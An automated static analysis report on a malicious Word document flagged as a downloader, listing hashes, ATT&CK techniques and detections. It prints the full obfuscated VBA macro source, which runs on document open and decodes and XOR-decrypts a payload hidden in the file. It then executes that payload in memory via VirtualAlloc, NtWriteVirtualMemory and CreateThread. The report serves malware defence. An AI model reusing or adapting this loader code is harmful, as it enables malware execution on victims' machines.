Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5dbb88aaaa25d835…

MALICIOUS

Office (OLE)

152.0 KB Created: 2017-08-02 21:24:00 Authoring application: Microsoft Office Word First seen: 2017-08-08
MD5: 77331e06cf05ab545039ce7f4c095bdc SHA-1: 05ec8d2f469584355c108179ff36d38e453ee0ec SHA-256: 5dbb88aaaa25d835486a746ac195ac4bf6fa33b57f64aee74163fcf5c43e6904
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is a malicious Word document containing VBA macros. The macros utilize functions like VirtualAlloc and CreateThread, indicating an attempt to execute shellcode or download and run a second-stage payload. The ClamAV detection 'Doc.Downloader.Powload-6809817-0' further supports this downloader functionality. No specific family could be identified, but the techniques suggest a downloader or dropper.

Heuristics 7

  • ClamAV: Doc.Downloader.Powload-6809817-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Powload-6809817-0
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Public Sub Document_Open()
    XHqPtnCHSAQcCV
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
    Document_Open
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4592 bytes
SHA-256: 5d843b9dcea16e1a1176406827a28d6a06eecbda289b6650aa773580c88d8c3f
Detection
ClamAV: No threats found
Obfuscation or payload: likely
36 of 72 identifiers look randomly generated (e.g. 'RqGHGFarJjataxXLnvdkeJPmvsMxkokhSKTSNuXt') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit

#If VBA7 Then
Private Declare PtrSafe Function AngOuiunFvZm Lib "kernel32" Alias "CreateThread" (ByVal DwOjFC As Long, ByVal SMkXBSeiRp As Long, ByVal gGGelEyRyqzmq As LongPtr, gLYzqzhlpHeqmHTWoqBXfd As Long, ByVal ylkKNdUtzUnvhgJ As Long, PjUrZaVrQXBciLsEc As Long) As LongPtr
Private Declare PtrSafe Function QFPMOlLxyqSUQBSkOCIsSFv Lib "kernel32" Alias "VirtualAlloc" (ByVal mdvbcK As Long, ByVal qdXxaqHJm As LongPtr, ByVal QwrcjvWfmljJNU As Long, ByVal HHhFxZLGgDbRgXjnKSYbGZbdIyVQ As Long) As LongPtr
Private Declare PtrSafe Function NtWriteVirtualMemory Lib "NTDLL" (ByVal ZHpdztIAePtfQkzhD As LongPtr, ByVal icYzQPTqHGdWYeUhhWLOGDAMG As LongPtr, ByVal FVPOBV As String, ByVal IMOAARA As LongPtr, ByRef iMbwhQolJ As LongPtr) As LongPtr
#Else
Private Declare Function AngOuiunFvZm Lib "kernel32" Alias "CreateThread"  (ByVal DwOjFC As Long, ByVal SMkXBSeiRp As Long, ByVal gGGelEyRyqzmq As Long, gLYzqzhlpHeqmHTWoqBXfd As Long, ByVal ylkKNdUtzUnvhgJ As Long, PjUrZaVrQXBciLsEc As Long) As Long
Private Declare Function QFPMOlLxyqSUQBSkOCIsSFv Lib "kernel32" Alias "VirtualAlloc" (ByVal mdvbcK As Long, ByVal qdXxaqHJm As Long, ByVal QwrcjvWfmljJNU As Long, ByVal HHhFxZLGgDbRgXjnKSYbGZbdIyVQ As Long) As Long
Private Declare Function NtWriteVirtualMemory Lib "NTDLL" (ByVal ZHpdztIAePtfQkzhD As Long, ByVal icYzQPTqHGdWYeUhhWLOGDAMG As Long, ByVal FVPOBV As String, ByVal IMOAARA As Long, ByRef iMbwhQolJ As Long) As Long
#End If

Const oZPiS = &H1000
Const MUXPgChdZnycXBVLkKwRYaBoWfOQ = &H40

Public Sub XHqPtnCHSAQcCV()
    Dim tJtqWjYuNFpxMpAIq() As Byte

    tJtqWjYuNFpxMpAIq = bQdRgCvZetzweSOAiovOKvM(ActiveDocument.FullName)
    Dim lQquqGlQvLrWDjTJhH As String
    lQquqGlQvLrWDjTJhH = StrConv(tJtqWjYuNFpxMpAIq, 64)
    
    Dim TRkZnCkdP
    TRkZnCkdP = Split(lQquqGlQvLrWDjTJhH, "RqGHGFarJjataxXLnvdkeJPmvsMxkokhSKTSNuXtGWNOiOSRGjUKHuZhAumoTCguYTApEeYTxKEhVadHAURauzzx")

    Dim rsRAzqfjYtNfgOmcQbgEciTAw As String
    Dim oggnkJgJTCuX As String
    Dim QCaEeHaFdRg As String
    oggnkJgJTCuX = StrConv(StrConv(TRkZnCkdP(UBound(TRkZnCkdP)), 64), 128)
    QCaEeHaFdRg = Mid$(oggnkJgJTCuX, 3, Len(oggnkJgJTCuX))

    rsRAzqfjYtNfgOmcQbgEciTAw = EklVUirqCztbbkfEMTIrlKvmjUmw("LrshJzePtPpnCmBlbmXQSlAq", QCaEeHaFdRg)
    
    #If VBA7 Then
        Dim eiJyZcarftENHWokAeLgDOe As LongPtr
        Dim bYLtISbNqqUfPDYzUtfqRdr As LongPtr
    #Else
        Dim eiJyZcarftENHWokAeLgDOe As Long
        Dim bYLtISbNqqUfPDYzUtfqRdr As Long
    #End If

    eiJyZcarftENHWokAeLgDOe = QFPMOlLxyqSUQBSkOCIsSFv(0, Len(rsRAzqfjYtNfgOmcQbgEciTAw), oZPiS, MUXPgChdZnycXBVLkKwRYaBoWfOQ)
    bYLtISbNqqUfPDYzUtfqRdr = NtWriteVirtualMemory(-1, eiJyZcarftENHWokAeLgDOe, rsRAzqfjYtNfgOmcQbgEciTAw, Len(rsRAzqfjYtNfgOmcQbgEciTAw), 0)
    bYLtISbNqqUfPDYzUtfqRdr = AngOuiunFvZm(0, 0, eiJyZcarftENHWokAeLgDOe, 0, 0, 0)
End Sub

Public Function bQdRgCvZetzweSOAiovOKvM(ByVal LiXlOjyreN As String) As Byte()
    Dim oggnkJgJTCuX As Long
    Dim QCaEeHaFdRg() As Byte
    oggnkJgJTCuX = FreeFile
    If LenB(Dir(LiXlOjyreN)) Then
        Open LiXlOjyreN For Binary Access Read As oggnkJgJTCuX
        ReDim QCaEeHaFdRg(LOF(oggnkJgJTCuX) - 1&) As Byte
        Get oggnkJgJTCuX, , QCaEeHaFdRg
        Close oggnkJgJTCuX
    Else
        Err.Raise 53
    End If
    bQdRgCvZetzweSOAiovOKvM = QCaEeHaFdRg
    Erase QCaEeHaFdRg
End Function

Public Sub Document_Open()
    XHqPtnCHSAQcCV
End Sub

Sub Workbook_Open()
    Document_Open
End Sub

Public Function EklVUirqCztbbkfEMTIrlKvmjUmw(KkoapGyVOYucGKqiYDUCwTk As String, PMUPZMaVV As String) As String
    Dim SpeaLEGIXVooFZedkqs As Long
    Dim qRaflDLJWcYzhcSbeXRqWOVoUA As String
    Dim UKVBJCbn As Integer, aOLXLuzsDlLxtZ As Integer, a As Long

    For SpeaLEGIXVooFZedkqs = 1 To Len(PMUPZMaVV)
        a = SpeaLEGIXVooFZedkqs Mod Len(KkoapGyVOYucGKqiYDUCwTk)
        If a = 0 Then a = Len(KkoapGyVOYucGKqiYDUCwTk)
        
        UKVBJCbn = Asc(Mid$(PMUPZMaVV, SpeaLEGIXVooFZedkqs, 1))
        aOLXLuzsDlLxtZ = Asc(Mid$(KkoapGyVOYucGKqiYDUCwTk, a, 1))
        qRaflDLJWcYzhcSbeXRqWOVoUA = qRaflDLJWcYzhcSbeXRqWOVoUA + Chr(UKVBJCbn Xor aOLXLuzsDlLxtZ)
    Next SpeaLEGIXVooFZedkqs
    
   EklVUirqCztbbkfEMTIrlKvmjUmw = qRaflDLJWcYzhcSbeXRqWOVoUA
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.